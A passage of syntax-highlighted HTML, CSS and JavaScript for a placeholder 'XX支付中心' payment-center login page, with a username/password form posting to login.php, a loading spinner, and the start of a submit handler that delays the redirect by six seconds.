&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;font-weight&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;500&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;keyframes&lt;/span&gt; &lt;span class=&#34;nt&#34;&gt;spin&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nt&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;%&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;transform&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rotate&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;deg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nt&#34;&gt;100&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;%&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;transform&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rotate&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;360&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;deg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c&#34;&gt;/* 响应式适配 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;media&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;max-width&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;nt&#34;&gt;480px&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;login-container&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;width&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;90&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;padding&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nc&#34;&gt;loading-card&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;padding&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;px&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;flex-direction&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;column&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;text-align&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;center&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;style&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;head&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;body&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c&#34;&gt;&amp;lt;!-- 登录容器 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;login-container&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;logo-area&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;XX支付中心&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;form&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;id&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;loginForm&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;action&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;login.php&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;input-group&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;label&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;账号 / 手机号&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;label&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;id&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;placeholder&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;请输入账号&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;required&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;input-group&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;label&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;password&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;登录密码&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;label&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;password&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;id&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;password&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;password&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;placeholder&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;请输入密码&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;required&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;button&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;submit&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;submit-btn&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;登 录&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;button&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;form&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;footer-links&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            找回密码 | 注册新账号
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c&#34;&gt;&amp;lt;!-- 加载动画层 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;loading-overlay&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;id&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;loadingOverlay&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;loading-card&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;loading-spinner&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;loading-text&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;正在登录...&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;div&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;script&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// 获取元素
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kr&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;loginForm&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;getElementById&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;loginForm&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kr&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;loadingOverlay&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;getElementById&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;loadingOverlay&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// 监听表单提交事件
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nx&#34;&gt;loginForm&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;addEventListener&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;submit&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// 阻止默认的表单提交行为（因为要等6秒再跳转）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;nx&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;preventDefault&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// 先验证表单（HTML5 required验证）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kr&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;isValid&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;loginForm&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;checkValidity&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;isValid&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;c1&#34;&gt;// 验证通过，显示加载动画
